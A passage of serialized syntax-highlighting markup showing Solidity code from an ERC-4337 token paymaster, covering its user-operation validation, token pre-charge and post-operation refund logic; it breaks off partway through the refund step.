BasePaymaster",{"type":23,"tag":141,"props":101444,"children":101445},{"style":154},[101446],{"type":29,"value":480},{"type":23,"tag":141,"props":101448,"children":101449},{"style":725},[101450],{"type":29,"value":101451},"UniswapHelper",{"type":23,"tag":141,"props":101453,"children":101454},{"style":154},[101455],{"type":29,"value":480},{"type":23,"tag":141,"props":101457,"children":101458},{"style":725},[101459],{"type":29,"value":101460},"OracleHelper",{"type":23,"tag":141,"props":101462,"children":101463},{"style":154},[101464],{"type":29,"value":1951},{"type":23,"tag":141,"props":101466,"children":101467},{"class":143,"line":180},[101468],{"type":23,"tag":141,"props":101469,"children":101470},{"style":154},[101471],{"type":29,"value":8998},{"type":23,"tag":141,"props":101473,"children":101474},{"class":143,"line":205},[101475,101479,101484,101488,101493,101498,101503,101507,101512,101516,101520,101525],{"type":23,"tag":141,"props":101476,"children":101477},{"style":449},[101478],{"type":29,"value":88316},{"type":23,"tag":141,"props":101480,"children":101481},{"style":184},[101482],{"type":29,"value":101483}," _validatePaymasterUserOp",{"type":23,"tag":141,"props":101485,"children":101486},{"style":154},[101487],{"type":29,"value":192},{"type":23,"tag":141,"props":101489,"children":101490},{"style":449},[101491],{"type":29,"value":101492},"PackedUserOperation",{"type":23,"tag":141,"props":101494,"children":101495},{"style":449},[101496],{"type":29,"value":101497}," calldata",{"type":23,"tag":141,"props":101499,"children":101500},{"style":750},[101501],{"type":29,"value":101502}," userOp",{"type":23,"tag":141,"props":101504,"children":101505},{"style":154},[101506],{"type":29,"value":480},{"type":23,"tag":141,"props":101508,"children":101509},{"style":725},[101510],{"type":29,"value":101511},"bytes32",{"type":23,"tag":141,"props":101513,"children":101514},{"style":154},[101515],{"type":29,"value":480},{"type":23,"tag":141,"props":101517,"children":101518},{"style":725},[101519],{"type":29,"value":44645},{"type":23,"tag":141,"props":101521,"children":101522},{"style":750},[101523],{"type":29,"value":101524}," requiredPreFund",{"type":23,"tag":141,"props":101526,"children":101527},{"style":154},[101528],{"type":29,"value":758},{"type":23,"tag":141,"props":101530,"children":101531},{"class":143,"line":218},[101532],{"type":23,"tag":141,"props":101533,"children":101534},{"style":449},[101535],{"type":29,"value":101536}," internal\n",{"type":23,"tag":141,"props":101538,"children":101539},{"class":143,"line":227},[101540],{"type":23,"tag":141,"props":101541,"children":101542},{"style":449},[101543],{"type":29,"value":101544}," override\n",{"type":23,"tag":141,"props":101546,"children":101547},{"class":143,"line":241},[101548,101553,101557,101561,101566,101570,101574,101578,101583],{"type":23,"tag":141,"props":101549,"children":101550},{"style":148},[101551],{"type":29,"value":101552}," returns",{"type":23,"tag":141,"props":101554,"children":101555},{"style":154},[101556],{"type":29,"value":1220},{"type":23,"tag":141,"props":101558,"children":101559},{"style":725},[101560],{"type":29,"value":82313},{"type":23,"tag":141,"props":101562,"children":101563},{"style":449},[101564],{"type":29,"value":101565}," memory",{"type":23,"tag":141,"props":101567,"children":101568},{"style":750},[101569],{"type":29,"value":74825},{"type":23,"tag":141,"props":101571,"children":101572},{"style":154},[101573],{"type":29,"value":480},{"type":23,"tag":141,"props":101575,"children":101576},{"style":725},[101577],{"type":29,"value":44645},{"type":23,"tag":141,"props":101579,"children":101580},{"style":750},[101581],{"type":29,"value":101582}," validationResult",{"type":23,"tag":141,"props":101584,"children":101585},{"style":154},[101586],{"type":29,"value":758},{"type":23,"tag":141,"props":101588,"children":101589},{"class":143,"line":262},[101590],{"type":23,"tag":141,"props":101591,"children":101592},{"style":154},[101593],{"type":29,"value":224},{"type":23,"tag":141,"props":101595,"children":101596},{"class":143,"line":271},[101597,101602],{"type":23,"tag":141,"props":101598,"children":101599},{"style":148},[101600],{"type":29,"value":101601}," unchecked",{"type":23,"tag":141,"props":101603,"children":101604},{"style":154},[101605],{"type":29,"value":1951},{"type":23,"tag":141,"props":101607,"children":101608},{"class":143,"line":293},[101609,101614,101619,101623],{"type":23,"tag":141,"props":101610,"children":101611},{"style":725},[101612],{"type":29,"value":101613}," uint256",{"type":23,"tag":141,"props":101615,"children":101616},{"style":154},[101617],{"type":29,"value":101618}," priceMarkup ",{"type":23,"tag":141,"props":101620,"children":101621},{"style":160},[101622],{"type":29,"value":1377},{"type":23,"tag":141,"props":101624,"children":101625},{"style":154},[101626],{"type":29,"value":101627}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":141,"props":101629,"children":101630},{"class":143,"line":801},[101631,101635,101640,101644],{"type":23,"tag":141,"props":101632,"children":101633},{"style":725},[101634],{"type":29,"value":101613},{"type":23,"tag":141,"props":101636,"children":101637},{"style":154},[101638],{"type":29,"value":101639}," baseFee ",{"type":23,"tag":141,"props":101641,"children":101642},{"style":160},[101643],{"type":29,"value":1377},{"type":23,"tag":141,"props":101645,"children":101646},{"style":154},[101647],{"type":29,"value":101648}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":141,"props":101650,"children":101651},{"class":143,"line":810},[101652,101656,101661,101665,101670,101674],{"type":23,"tag":141,"props":101653,"children":101654},{"style":725},[101655],{"type":29,"value":101613},{"type":23,"tag":141,"props":101657,"children":101658},{"style":154},[101659],{"type":29,"value":101660}," dataLength ",{"type":23,"tag":141,"props":101662,"children":101663},{"style":160},[101664],{"type":29,"value":1377},{"type":23,"tag":141,"props":101666,"children":101667},{"style":154},[101668],{"type":29,"value":101669}," userOp.paymasterAndData.length ",{"type":23,"tag":141,"props":101671,"children":101672},{"style":160},[101673],{"type":29,"value":3004},{"type":23,"tag":141,"props":101675,"children":101676},{"style":154},[101677],{"type":29,"value":101678}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":141,"props":101680,"children":101681},{"class":143,"line":824},[101682,101687,101692,101696,101700,101704,101708,101712,101717,101721,101726],{"type":23,"tag":141,"props":101683,"children":101684},{"style":148},[101685],{"type":29,"value":101686}," require",{"type":23,"tag":141,"props":101688,"children":101689},{"style":154},[101690],{"type":29,"value":101691},"(dataLength ",{"type":23,"tag":141,"props":101693,"children":101694},{"style":160},[101695],{"type":29,"value":7251},{"type":23,"tag":141,"props":101697,"children":101698},{"style":472},[101699],{"type":29,"value":1707},{"type":23,"tag":141,"props":101701,"children":101702},{"style":160},[101703],{"type":29,"value":22380},{"type":23,"tag":141,"props":101705,"children":101706},{"style":154},[101707],{"type":29,"value":101660},{"type":23,"tag":141,"props":101709,"children":101710},{"style":160},[101711],{"type":29,"value":7251},{"type":23,"tag":141,"props":101713,"children":101714},{"style":472},[101715],{"type":29,"value":101716}," 32",{"type":23,"tag":141,"props":101718,"children":101719},{"style":154},[101720],{"type":29,"value":480},{"type":23,"tag":141,"props":101722,"children":101723},{"style":828},[101724],{"type":29,"value":101725},"\"TPM: invalid data length\"",{"type":23,"tag":141,"props":101727,"children":101728},{"style":154},[101729],{"type":29,"value":2496},{"type":23,"tag":141,"props":101731,"children":101732},{"class":143,"line":839},[101733,101737,101742,101746,101751,101756],{"type":23,"tag":141,"props":101734,"children":101735},{"style":725},[101736],{"type":29,"value":101613},{"type":23,"tag":141,"props":101738,"children":101739},{"style":154},[101740],{"type":29,"value":101741}," maxFeePerGas ",{"type":23,"tag":141,"props":101743,"children":101744},{"style":160},[101745],{"type":29,"value":1377},{"type":23,"tag":141,"props":101747,"children":101748},{"style":154},[101749],{"type":29,"value":101750}," userOp.",{"type":23,"tag":141,"props":101752,"children":101753},{"style":184},[101754],{"type":29,"value":101755},"unpackMaxFeePerGas",{"type":23,"tag":141,"props":101757,"children":101758},{"style":154},[101759],{"type":29,"value":1305},{"type":23,"tag":141,"props":101761,"children":101762},{"class":143,"line":848},[101763,101767,101772,101776],{"type":23,"tag":141,"props":101764,"children":101765},{"style":725},[101766],{"type":29,"value":101613},{"type":23,"tag":141,"props":101768,"children":101769},{"style":154},[101770],{"type":29,"value":101771}," refundPostopCost ",{"type":23,"tag":141,"props":101773,"children":101774},{"style":160},[101775],{"type":29,"value":1377},{"type":23,"tag":141,"props":101777,"children":101778},{"style":154},[101779],{"type":29,"value":101780}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":141,"props":101782,"children":101783},{"class":143,"line":2304},[101784,101788,101793,101797,101801,101806,101810,101815],{"type":23,"tag":141,"props":101785,"children":101786},{"style":148},[101787],{"type":29,"value":101686},{"type":23,"tag":141,"props":101789,"children":101790},{"style":154},[101791],{"type":29,"value":101792},"(refundPostopCost ",{"type":23,"tag":141,"props":101794,"children":101795},{"style":160},[101796],{"type":29,"value":4480},{"type":23,"tag":141,"props":101798,"children":101799},{"style":154},[101800],{"type":29,"value":101750},{"type":23,"tag":141,"props":101802,"children":101803},{"style":184},[101804],{"type":29,"value":101805},"unpackPostOpGasLimit",{"type":23,"tag":141,"props":101807,"children":101808},{"style":154},[101809],{"type":29,"value":17053},{"type":23,"tag":141,"props":101811,"children":101812},{"style":828},[101813],{"type":29,"value":101814},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":141,"props":101816,"children":101817},{"style":154},[101818],{"type":29,"value":2496},{"type":23,"tag":141,"props":101820,"children":101821},{"class":143,"line":2313},[101822,101826,101831,101835,101840,101844,101849,101853],{"type":23,"tag":141,"props":101823,"children":101824},{"style":725},[101825],{"type":29,"value":101613},{"type":23,"tag":141,"props":101827,"children":101828},{"style":154},[101829],{"type":29,"value":101830}," preChargeNative ",{"type":23,"tag":141,"props":101832,"children":101833},{"style":160},[101834],{"type":29,"value":1377},{"type":23,"tag":141,"props":101836,"children":101837},{"style":154},[101838],{"type":29,"value":101839}," requiredPreFund ",{"type":23,"tag":141,"props":101841,"children":101842},{"style":160},[101843],{"type":29,"value":3058},{"type":23,"tag":141,"props":101845,"children":101846},{"style":154},[101847],{"type":29,"value":101848}," (refundPostopCost ",{"type":23,"tag":141,"props":101850,"children":101851},{"style":160},[101852],{"type":29,"value":197},{"type":23,"tag":141,"props":101854,"children":101855},{"style":154},[101856],{"type":29,"value":101857}," maxFeePerGas);\n",{"type":23,"tag":141,"props":101859,"children":101860},{"class":143,"line":2335},[101861,101866,101870],{"type":23,"tag":141,"props":101862,"children":101863},{"style":443},[101864],{"type":29,"value":101865}," // ",{"type":23,"tag":141,"props":101867,"children":101868},{"style":449},[101869],{"type":29,"value":65241},{"type":23,"tag":141,"props":101871,"children":101872},{"style":443},[101873],{"type":29,"value":101874},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":141,"props":101876,"children":101877},{"class":143,"line":2343},[101878,101882,101887,101891,101896,101900,101905,101909],{"type":23,"tag":141,"props":101879,"children":101880},{"style":725},[101881],{"type":29,"value":101613},{"type":23,"tag":141,"props":101883,"children":101884},{"style":154},[101885],{"type":29,"value":101886}," cachedPriceWithMarkup ",{"type":23,"tag":141,"props":101888,"children":101889},{"style":160},[101890],{"type":29,"value":1377},{"type":23,"tag":141,"props":101892,"children":101893},{"style":154},[101894],{"type":29,"value":101895}," cachedPrice ",{"type":23,"tag":141,"props":101897,"children":101898},{"style":160},[101899],{"type":29,"value":197},{"type":23,"tag":141,"props":101901,"children":101902},{"style":154},[101903],{"type":29,"value":101904}," DENOM ",{"type":23,"tag":141,"props":101906,"children":101907},{"style":160},[101908],{"type":29,"value":3255},{"type":23,"tag":141,"props":101910,"children":101911},{"style":154},[101912],{"type":29,"value":101913}," priceMarkup;\n",{"type":23,"tag":141,"props":101915,"children":101916},{"class":143,"line":2352},[101917,101921,101926,101930,101934],{"type":23,"tag":141,"props":101918,"children":101919},{"style":148},[101920],{"type":29,"value":57281},{"type":23,"tag":141,"props":101922,"children":101923},{"style":154},[101924],{"type":29,"value":101925}," (dataLength ",{"type":23,"tag":141,"props":101927,"children":101928},{"style":160},[101929],{"type":29,"value":7251},{"type":23,"tag":141,"props":101931,"children":101932},{"style":472},[101933],{"type":29,"value":101716},{"type":23,"tag":141,"props":101935,"children":101936},{"style":154},[101937],{"type":29,"value":13480},{"type":23,"tag":141,"props":101939,"children":101940},{"class":143,"line":2421},[101941,101946,101951],{"type":23,"tag":141,"props":101942,"children":101943},{"style":725},[101944],{"type":29,"value":101945}," uint256",{"type":23,"tag":141,"props":101947,"children":101948},{"style":154},[101949],{"type":29,"value":101950}," clientSuppliedPrice ",{"type":23,"tag":141,"props":101952,"children":101953},{"style":160},[101954],{"type":29,"value":13369},{"type":23,"tag":141,"props":101956,"children":101957},{"class":143,"line":2429},[101958,101963,101967,101971,101976,101980,101985,101989,101993],{"type":23,"tag":141,"props":101959,"children":101960},{"style":725},[101961],{"type":29,"value":101962}," uint256",{"type":23,"tag":141,"props":101964,"children":101965},{"style":154},[101966],{"type":29,"value":192},{"type":23,"tag":141,"props":101968,"children":101969},{"style":725},[101970],{"type":29,"value":101511},{"type":23,"tag":141,"props":101972,"children":101973},{"style":154},[101974],{"type":29,"value":101975},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":141,"props":101977,"children":101978},{"style":160},[101979],{"type":29,"value":114},{"type":23,"tag":141,"props":101981,"children":101982},{"style":154},[101983],{"type":29,"value":101984},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":141,"props":101986,"children":101987},{"style":160},[101988],{"type":29,"value":3058},{"type":23,"tag":141,"props":101990,"children":101991},{"style":472},[101992],{"type":29,"value":101716},{"type":23,"tag":141,"props":101994,"children":101995},{"style":154},[101996],{"type":29,"value":101997},"]));\n",{"type":23,"tag":141,"props":101999,"children":102000},{"class":143,"line":2459},[102001,102006,102011,102015],{"type":23,"tag":141,"props":102002,"children":102003},{"style":148},[102004],{"type":29,"value":102005}," if",{"type":23,"tag":141,"props":102007,"children":102008},{"style":154},[102009],{"type":29,"value":102010}," (clientSuppliedPrice ",{"type":23,"tag":141,"props":102012,"children":102013},{"style":160},[102014],{"type":29,"value":4480},{"type":23,"tag":141,"props":102016,"children":102017},{"style":154},[102018],{"type":29,"value":102019}," cachedPriceWithMarkup) {\n",{"type":23,"tag":141,"props":102021,"children":102022},{"class":143,"line":2467},[102023,102028,102032],{"type":23,"tag":141,"props":102024,"children":102025},{"style":443},[102026],{"type":29,"value":102027}," // ",{"type":23,"tag":141,"props":102029,"children":102030},{"style":449},[102031],{"type":29,"value":65241},{"type":23,"tag":141,"props":102033,"children":102034},{"style":443},[102035],{"type":29,"value":102036},": smaller number means 'more native asset per token'\n",{"type":23,"tag":141,"props":102038,"children":102039},{"class":143,"line":2499},[102040,102045,102049],{"type":23,"tag":141,"props":102041,"children":102042},{"style":154},[102043],{"type":29,"value":102044}," cachedPriceWithMarkup ",{"type":23,"tag":141,"props":102046,"children":102047},{"style":160},[102048],{"type":29,"value":1377},{"type":23,"tag":141,"props":102050,"children":102051},{"style":154},[102052],{"type":29,"value":102053}," clientSuppliedPrice;\n",{"type":23,"tag":141,"props":102055,"children":102056},{"class":143,"line":2507},[102057],{"type":23,"tag":141,"props":102058,"children":102059},{"style":154},[102060],{"type":29,"value":69554},{"type":23,"tag":141,"props":102062,"children":102063},{"class":143,"line":2567},[102064],{"type":23,"tag":141,"props":102065,"children":102066},{"style":154},[102067],{"type":29,"value":57365},{"type":23,"tag":141,"props":102069,"children":102070},{"class":143,"line":7724},[102071,102075,102080,102084,102089],{"type":23,"tag":141,"props":102072,"children":102073},{"style":725},[102074],{"type":29,"value":101613},{"type":23,"tag":141,"props":102076,"children":102077},{"style":154},[102078],{"type":29,"value":102079}," tokenAmount ",{"type":23,"tag":141,"props":102081,"children":102082},{"style":160},[102083],{"type":29,"value":1377},{"type":23,"tag":141,"props":102085,"children":102086},{"style":184},[102087],{"type":29,"value":102088}," weiToToken",{"type":23,"tag":141,"props":102090,"children":102091},{"style":154},[102092],{"type":29,"value":102093},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":141,"props":102095,"children":102096},{"class":143,"line":7742},[102097,102102,102106],{"type":23,"tag":141,"props":102098,"children":102099},{"style":154},[102100],{"type":29,"value":102101}," tokenAmount ",{"type":23,"tag":141,"props":102103,"children":102104},{"style":160},[102105],{"type":29,"value":66920},{"type":23,"tag":141,"props":102107,"children":102108},{"style":154},[102109],{"type":29,"value":102110}," baseFee;\n",{"type":23,"tag":141,"props":102112,"children":102113},{"class":143,"line":7787},[102114,102119,102124,102129,102133,102137,102141],{"type":23,"tag":141,"props":102115,"children":102116},{"style":154},[102117],{"type":29,"value":102118}," SafeERC20.",{"type":23,"tag":141,"props":102120,"children":102121},{"style":184},[102122],{"type":29,"value":102123},"safeTransferFrom",{"type":23,"tag":141,"props":102125,"children":102126},{"style":154},[102127],{"type":29,"value":102128},"(token, userOp.sender, ",{"type":23,"tag":141,"props":102130,"children":102131},{"style":725},[102132],{"type":29,"value":31109},{"type":23,"tag":141,"props":102134,"children":102135},{"style":154},[102136],{"type":29,"value":192},{"type":23,"tag":141,"props":102138,"children":102139},{"style":449},[102140],{"type":29,"value":16370},{"type":23,"tag":141,"props":102142,"children":102143},{"style":154},[102144],{"type":29,"value":102145},"), tokenAmount);\n",{"type":23,"tag":141,"props":102147,"children":102148},{"class":143,"line":7893},[102149,102154,102158,102163,102167,102172],{"type":23,"tag":141,"props":102150,"children":102151},{"style":154},[102152],{"type":29,"value":102153}," context ",{"type":23,"tag":141,"props":102155,"children":102156},{"style":160},[102157],{"type":29,"value":1377},{"type":23,"tag":141,"props":102159,"children":102160},{"style":449},[102161],{"type":29,"value":102162}," abi",{"type":23,"tag":141,"props":102164,"children":102165},{"style":154},[102166],{"type":29,"value":322},{"type":23,"tag":141,"props":102168,"children":102169},{"style":184},[102170],{"type":29,"value":102171},"encode",{"type":23,"tag":141,"props":102173,"children":102174},{"style":154},[102175],{"type":29,"value":102176},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":141,"props":102178,"children":102179},{"class":143,"line":22181},[102180,102185],{"type":23,"tag":141,"props":102181,"children":102182},{"style":154},[102183],{"type":29,"value":102184}," validationResult ",{"type":23,"tag":141,"props":102186,"children":102187},{"style":160},[102188],{"type":29,"value":13369},{"type":23,"tag":141,"props":102190,"children":102191},{"class":143,"line":22216},[102192,102197,102201,102205,102209,102214,102219,102223,102228,102232],{"type":23,"tag":141,"props":102193,"children":102194},{"style":184},[102195],{"type":29,"value":102196}," _packValidationData",{"type":23,"tag":141,"props":102198,"children":102199},{"style":154},[102200],{"type":29,"value":192},{"type":23,"tag":141,"props":102202,"children":102203},{"style":449},[102204],{"type":29,"value":6850},{"type":23,"tag":141,"props":102206,"children":102207},{"style":154},[102208],{"type":29,"value":480},{"type":23,"tag":141,"props":102210,"children":102211},{"style":725},[102212],{"type":29,"value":102213},"uint48",{"type":23,"tag":141,"props":102215,"children":102216},{"style":154},[102217],{"type":29,"value":102218},"(cachedPriceTimestamp ",{"type":23,"tag":141,"props":102220,"children":102221},{"style":160},[102222],{"type":29,"value":3058},{"type":23,"tag":141,"props":102224,"children":102225},{"style":154},[102226],{"type":29,"value":102227}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":141,"props":102229,"children":102230},{"style":472},[102231],{"type":29,"value":2698},{"type":23,"tag":141,"props":102233,"children":102234},{"style":154},[102235],{"type":29,"value":2496},{"type":23,"tag":141,"props":102237,"children":102238},{"class":143,"line":22224},[102239],{"type":23,"tag":141,"props":102240,"children":102241},{"style":154},[102242],{"type":29,"value":2008},{"type":23,"tag":141,"props":102244,"children":102245},{"class":143,"line":22232},[102246],{"type":23,"tag":141,"props":102247,"children":102248},{"style":154},[102249],{"type":29,"value":299},{"type":23,"tag":141,"props":102251,"children":102252},{"class":143,"line":22241},[102253],{"type":23,"tag":141,"props":102254,"children":102255},{"style":154},[102256],{"type":29,"value":8998},{"type":23,"tag":141,"props":102258,"children":102259},{"class":143,"line":22283},[102260,102264,102269,102273,102278,102282,102286,102290,102294,102298,102302,102307,102311,102315,102320],{"type":23,"tag":141,"props":102261,"children":102262},{"style":449},[102263],{"type":29,"value":88316},{"type":23,"tag":141,"props":102265,"children":102266},{"style":184},[102267],{"type":29,"value":102268}," _postOp",{"type":23,"tag":141,"props":102270,"children":102271},{"style":154},[102272],{"type":29,"value":192},{"type":23,"tag":141,"props":102274,"children":102275},{"style":449},[102276],{"type":29,"value":102277},"PostOpMode",{"type":23,"tag":141,"props":102279,"children":102280},{"style":154},[102281],{"type":29,"value":480},{"type":23,"tag":141,"props":102283,"children":102284},{"style":725},[102285],{"type":29,"value":82313},{"type":23,"tag":141,"props":102287,"children":102288},{"style":449},[102289],{"type":29,"value":101497},{"type":23,"tag":141,"props":102291,"children":102292},{"style":750},[102293],{"type":29,"value":74825},{"type":23,"tag":141,"props":102295,"children":102296},{"style":154},[102297],{"type":29,"value":480},{"type":23,"tag":141,"props":102299,"children":102300},{"style":725},[102301],{"type":29,"value":44645},{"type":23,"tag":141,"props":102303,"children":102304},{"style":750},[102305],{"type":29,"value":102306}," actualGasCost",{"type":23,"tag":141,"props":102308,"children":102309},{"style":154},[102310],{"type":29,"value":480},{"type":23,"tag":141,"props":102312,"children":102313},{"style":725},[102314],{"type":29,"value":44645},{"type":23,"tag":141,"props":102316,"children":102317},{"style":750},[102318],{"type":29,"value":102319}," actualUserOpFeePerGas",{"type":23,"tag":141,"props":102321,"children":102322},{"style":154},[102323],{"type":29,"value":758},{"type":23,"tag":141,"props":102325,"children":102326},{"class":143,"line":22316},[102327],{"type":23,"tag":141,"props":102328,"children":102329},{"style":449},[102330],{"type":29,"value":101536},{"type":23,"tag":141,"props":102332,"children":102333},{"class":143,"line":22324},[102334],{"type":23,"tag":141,"props":102335,"children":102336},{"style":449},[102337],{"type":29,"value":101544},{"type":23,"tag":141,"props":102339,"children":102340},{"class":143,"line":22332},[102341],{"type":23,"tag":141,"props":102342,"children":102343},{"style":154},[102344],{"type":29,"value":224},{"type":23,"tag":141,"props":102346,"children":102347},{"class":143,"line":22341},[102348,102352],{"type":23,"tag":141,"props":102349,"children":102350},{"style":148},[102351],{"type":29,"value":101601},{"type":23,"tag":141,"props":102353,"children":102354},{"style":154},[102355],{"type":29,"value":1951},{"type":23,"tag":141,"props":102357,"children":102358},{"class":143,"line":22417},[102359,102363,102367,102371],{"type":23,"tag":141,"props":102360,"children":102361},{"style":725},[102362],{"type":29,"value":101613},{"type":23,"tag":141,"props":102364,"children":102365},{"style":154},[102366],{"type":29,"value":101618},{"type":23,"tag":141,"props":102368,"children":102369},{"style":160},[102370],{"type":29,"value":1377},{"type":23,"tag":141,"props":102372,"children":102373},{"style":154},[102374],{"type":29,"value":101627},{"type":23,"tag":141,"props":102376,"children":102377},{"class":143,"line":22450},[102378,102382,102386,102390],{"type":23,"tag":141,"props":102379,"children":102380},{"style":725},[102381],{"type":29,"value":101613},{"type":23,"tag":141,"props":102383,"children":102384},{"style":154},[102385],{"type":29,"value":101639},{"type":23,"tag":141,"props":102387,"children":102388},{"style":160},[102389],{"type":29,"value":1377},{"type":23,"tag":141,"props":102391,"children":102392},{"style":154},[102393],{"type":29,"value":101648},{"type":23,"tag":141,"props":102395,"children":102396},{"class":143,"line":22458},[102397,102402,102406,102411,102415,102420,102424,102428,102432,102437,102442,102446,102450,102454],{"type":23,"tag":141,"props":102398,"children":102399},{"style":154},[102400],{"type":29,"value":102401}," (",{"type":23,"tag":141,"props":102403,"children":102404},{"style":725},[102405],{"type":29,"value":44645},{"type":23,"tag":141,"props":102407,"children":102408},{"style":154},[102409],{"type":29,"value":102410}," preCharge, ",{"type":23,"tag":141,"props":102412,"children":102413},{"style":725},[102414],{"type":29,"value":31109},{"type":23,"tag":141,"props":102416,"children":102417},{"style":154},[102418],{"type":29,"value":102419}," userOpSender) ",{"type":23,"tag":141,"props":102421,"children":102422},{"style":160},[102423],{"type":29,"value":1377},{"type":23,"tag":141,"props":102425,"children":102426},{"style":449},[102427],{"type":29,"value":102162},{"type":23,"tag":141,"props":102429,"children":102430},{"style":154},[102431],{"type":29,"value":322},{"type":23,"tag":141,"props":102433,"children":102434},{"style":184},[102435],{"type":29,"value":102436},"decode",{"type":23,"tag":141,"props":102438,"children":102439},{"style":154},[102440],{"type":29,"value":102441},"(context, (",{"type":23,"tag":141,"props":102443,"children":102444},{"style":725},[102445],{"type":29,"value":44645},{"type":23,"tag":141,"props":102447,"children":102448},{"style":154},[102449],{"type":29,"value":480},{"type":23,"tag":141,"props":102451,"children":102452},{"style":725},[102453],{"type":29,"value":31109},{"type":23,"tag":141,"props":102455,"children":102456},{"style":154},[102457],{"type":29,"value":5897},{"type":23,"tag":141,"props":102459,"children":102460},{"class":143,"line":22466},[102461,102466,102471,102476],{"type":23,"tag":141,"props":102462,"children":102463},{"style":154},[102464],{"type":29,"value":102465}," preCharge ",{"type":23,"tag":141,"props":102467,"children":102468},{"style":160},[102469],{"type":29,"value":102470},"-=",{"type":23,"tag":141,"props":102472,"children":102473},{"style":154},[102474],{"type":29,"value":102475}," baseFee; ",{"type":23,"tag":141,"props":102477,"children":102478},{"style":443},[102479],{"type":29,"value":102480},"// don't refund the base fee\n",{"type":23,"tag":141,"props":102482,"children":102483},{"class":143,"line":22503},[102484,102488,102493,102497,102502,102506,102510],{"type":23,"tag":141,"props":102485,"children":102486},{"style":725},[102487],{"type":29,"value":101613},{"type":23,"tag":141,"props":102489,"children":102490},{"style":154},[102491],{"type":29,"value":102492}," _cachedPrice ",{"type":23,"tag":141,"props":102494,"children":102495},{"style":160},[102496],{"type":29,"value":1377},{"type":23,"tag":141,"props":102498,"children":102499},{"style":184},[102500],{"type":29,"value":102501}," updateCachedPrice",{"type":23,"tag":141,"props":102503,"children":102504},{"style":154},[102505],{"type":29,"value":192},{"type":23,"tag":141,"props":102507,"children":102508},{"style":449},[102509],{"type":29,"value":6850},{"type":23,"tag":141,"props":102511,"children":102512},{"style":154},[102513],{"type":29,"value":2496},{"type":23,"tag":141,"props":102515,"children":102516},{"class":143,"line":22516},[102517,102521,102525],{"type":23,"tag":141,"props":102518,"children":102519},{"style":443},[102520],{"type":29,"value":101865},{"type":23,"tag":141,"props":102522,"children":102523},{"style":449},[102524],{"type":29,"value":65241},{"type":23,"tag":141,"props":102526,"children":102527},{"style":443},[102528],{"type":29,"value":101874},{"type":23,"tag":141,"props":102530,"children":102531},{"class":143,"line":22529},[102532,102536,102540,102544,102548,102552,102556,102560],{"type":23,"tag":141,"props":102533,"children":102534},{"style":725},[102535],{"type":29,"value":101613},{"type":23,"tag":141,"props":102537,"children":102538},{"style":154},[102539],{"type":29,"value":101886},{"type":23,"tag":141,"props":102541,"children":102542},{"style":160},[102543],{"type":29,"value":1377},{"type":23,"tag":141,"props":102545,"children":102546},{"style":154},[102547],{"type":29,"value":102492},{"type":23,"tag":141,"props":102549,"children":102550},{"style":160},[102551],{"type":29,"value":197},{"type":23,"tag":141,"props":102553,"children":102554},{"style":154},[102555],{"type":29,"value":101904},{"type":23,"tag":141,"props":102557,"children":102558},{"style":160},[102559],{"type":29,"value":3255},{"type":23,"tag":141,"props":102561,"children":102562},{"style":154},[102563],{"type":29,"value":101913},{"type":23,"tag":141,"props":102565,"children":102566},{"class":143,"line":22542},[102567],{"type":23,"tag":141,"props":102568,"children":102569},{"style":443},[102570],{"type":29,"value":102571}," // Refund tokens based on actual gas cost\n",{"type":23,"tag":141,"props":102573,"children":102574},{"class":143,"line":22596},[102575,102579,102584,102588,102593,102597,102602,102606],{"type":23,"tag":141,"props":102576,"children":102577},{"style":725},[102578],{"type":29,"value":101613},{"type":23,"tag":141,"props":102580,"children":102581},{"style":154},[102582],{"type":29,"value":102583}," actualChargeNative ",{"type":23,"tag":141,"props":102585,"children":102586},{"style":160},[102587],{"type":29,"value":1377},{"type":23,"tag":141,"props":102589,"children":102590},{"style":154},[102591],{"type":29,"value":102592}," actualGasCost ",{"type":23,"tag":141,"props":102594,"children":102595},{"style":160},[102596],{"type":29,"value":3058},{"type":23,"tag":141,"props":102598,"children":102599},{"style":154},[102600],{"type":29,"value":102601}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":141,"props":102603,"children":102604},{"style":160},[102605],{"type":29,"value":197},{"type":23,"tag":141,"props":102607,"children":102608},{"style":154},[102609],{"type":29,"value":102610}," actualUserOpFeePerGas;\n",{"type":23,"tag":141,"props":102612,"children":102613},{"class":143,"line":22605},[102614,102618,102623,102627,102631],{"type":23,"tag":141,"props":102615,"children":102616},{"style":725},[102617],{"type":29,"value":101613},{"type":23,"tag":141,"props":102619,"children":102620},{"style":154},[102621],{"type":29,"value":102622}," actualTokenNeeded ",{"type":23,"tag":141,"props":102624,"children":102625},{"style":160},[102626],{"type":29,"value":1377},{"type":23,"tag":141,"props":102628,"children":102629},{"style":184},[102630],{"type":29,"value":102088},{"type":23,"tag":141,"props":102632,"children":102633},{"style":154},[102634],{"type":29,"value":102635},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":141,"props":102637,"children":102638},{"class":143,"line":30749},[102639,102643,102648,102652],{"type":23,"tag":141,"props":102640,"children":102641},{"style":148},[102642],{"type":29,"value":57281},{"type":23,"tag":141,"props":102644,"children":102645},{"style":154},[102646],{"type":29,"value":102647}," (preCharge ",{"type":23,"tag":141,"props":102649,"children":102650},{"style":160},[102651],{"type":29,"value":9142},{"type":23,"tag":141,"props":102653,"children":102654},{"style":154},[102655],{"type":29,"value":102656}," actualTokenNeeded) {\n",{"type":23,"tag":141,"props":102658,"children":102659},{"class":143,"line":30770},[102660],{"type":23,"tag":141,"props":102661,"children":102662},{"style":443},[102663],{"type":29,"value":102664}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":141,"props":102666,"children":102667},{"class":143,"line":79436},[102668,102673,102678,102683,102687],{"type":23,"tag":141,"props":102669,"children":102670},{"style":154},[102671],{"type":29,"value":102672}," 